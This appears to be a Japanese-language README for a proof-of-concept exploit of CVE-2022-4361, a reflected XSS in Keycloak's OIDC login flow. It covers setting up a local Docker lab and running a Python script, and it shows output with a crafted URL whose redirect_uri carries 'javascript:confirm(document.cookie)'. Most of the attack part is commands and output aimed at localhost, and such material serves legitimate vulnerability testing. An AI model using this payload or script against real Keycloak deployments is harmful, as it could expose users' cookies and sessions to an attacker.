
CVE-2022-4361の概念実証エクスプロイト。KeycloakのOIDC認証フローにおける反射型XSS脆弱性。Dockerベースのテスト環境とPythonエクスプロイトスクリプトを備えています。
このリポジトリはCVE-2022-4361のPoCを含んでいます。
すべてのクレジットは発見の原著者であるmullikenに帰属します。
重要: このPoCは完全ではなく、SAML認証プロトコルのAssertionConsumerServiceURL値に関するケースをカバーしていません。現在はOIDCケースのみ対応しています。
git clone https://github.com/faccimatteo/CVE-2022-4361.git && cd ./CVE-2022-4361
docker compose up -d
インフラストラクチャが利用可能で到達可能になるまで待ちます。
このPoCではKeycloakはどのWebアプリケーションとも統合されていないため、完全なKeycloak認証URLを指定する必要があります(テストレルムが正しくセットアップされた後)。
このテスト環境での脆弱性は、以下のURLでテストできます。
python3 ./CVE-2022-4361.py --url http://localhost:8080/realms/test-realm/protocol/openid-connect/auth\?client_id\=test-client\&redirect_uri\=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F\&state\=f0cd8010-72b1-476d-823a-b72e2106db1d\&response_mode\=fragment\&response_type\=code\&scope\=openid\&nonce\=eb117e13-b09e-49b1-a086-3ebb69d6ca3d\&code_challenge\=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w\&code_challenge_method\=S256
[+] Detected Keycloak OIDC configuration in the authentication flow for http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=fragment&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256.
[+] Crafted malicious Keycloak authentication URL: http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=javascript:confirm(document.cookie)&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=form_post&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256
[+] The Keycloak instance used by the target is likely to be VULNERABLE to CVE-2022-4361!
[*] Opening malicious login page in your default web browser...
以下のスクリーンショットに示すように、ブラウザウィンドウが悪意のあるログインページで開かれます。

被害者が有効な認証情報(keycloak-config/test-realm.json内で利用可能)を提供し、Sign Inボタンをクリックすると、リフレクション型XSS攻撃が行われます。
攻撃は、被害者がすでにアプリケーションにログインしている場合でも成功することに注目してください。

redirect_uriにワイルドカード値*を設定しないでください。現在、このPoCはKeycloakがOIDC認証フローを使用して設定されているケースのみをカバーしています。
今後の展開では、SAML認証プロトコルが導入される予定です。